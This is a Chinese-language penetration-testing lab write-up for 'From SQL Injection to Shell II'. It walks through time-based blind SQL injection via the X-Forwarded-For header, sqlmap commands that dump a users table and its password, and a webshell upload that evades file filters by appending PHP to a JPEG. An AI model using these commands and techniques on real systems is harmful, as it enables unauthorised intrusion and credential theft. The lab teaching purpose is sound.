From SQL Injection to Shell II
环境配置
虚拟机1
- Debian x64
- NAT Network
虚拟机2
- Kali Linux
- NAT Network
虚拟机2的 hosts 文件添加以下内容
1 | 虚拟机1的ip地址 vulnerable |
信息收集
熟悉的页面 x1 ,不过这里用的是 nginx
直接在 cat.php 页面上尝试 SQL 注入,未果
漏洞发现
使用 Burp Suite 抓包,尝试在 HTTP 头部的其他字段进行 SQL 注入,根据实验手册这里对 X-Forwarded-For
字段尝试,X-Forwarded-For
用于指明客户端的 IP 及其代理服务器
利用了基于时间的盲注入,从结果来看这个字段的确存在 SQL 注入漏洞
漏洞利用
手工利用
既然 sleep
都执行成功了,那么可以用就 老方法 推测数据库、数据表、字段的名称,结合 ascii
和 substr
函数,并利用条件语句和延迟机制。
sqlmap
用 sqlmap 测试 X-Forwarded-For
字段,--banner
表示获取数据库管理系统的标识
1 | # DBMS 标识 |
以下为部分输出结果,检测到基于时间的盲注入漏洞,后台使用 MySQL 数据库并且版本大于等于 5.0.12
1 | --- |
获取所有数据库信息,得到 2 个数据库
1 | sqlmap http://vulnerable/ --headers="X-Forwarded-For: *" --dbs |
获取 photoblog 数据库的数据表信息,得到 4 张表
1 | sqlmap http://vulnerable/ --headers="X-Forwarded-For: *" -D photoblog --tables |
获取 users 表的字段,得到 3 个字段
1 | sqlmap http://vulnerable/ --headers="X-Forwarded-For: *" -D photoblog -T users --columns |
获取 users 表的数据,--batch
表示使用默认值,不询问用户
- 获取到密码后尝试爆破
1 | sqlmap http://vulnerable/ --headers="X-Forwarded-For: *" -D photoblog -T users --dump --batch |
Webshell
利用得到的用户名 admin 和密码 P4ssw0rd 登录管理后台,利用文件上传获取 Webshell
尝试上传 shell.php 失败,改后缀名进行绕过也失败
1 |
|
将 Webshell 拼接到图片中后上传,成功绕过
1 | cat 0.jpg shell.php >> fake.jpg |
回到主页后发现图片上传成功,并显示成功,但其中的 PHP 代码没有被解析
利用 Nginx/PHP 的错误配置,将文件解析为 PHP 文件,详见 Setting up PHP-FastCGI and nginx? Don’t trust the tutorials: check your configuration!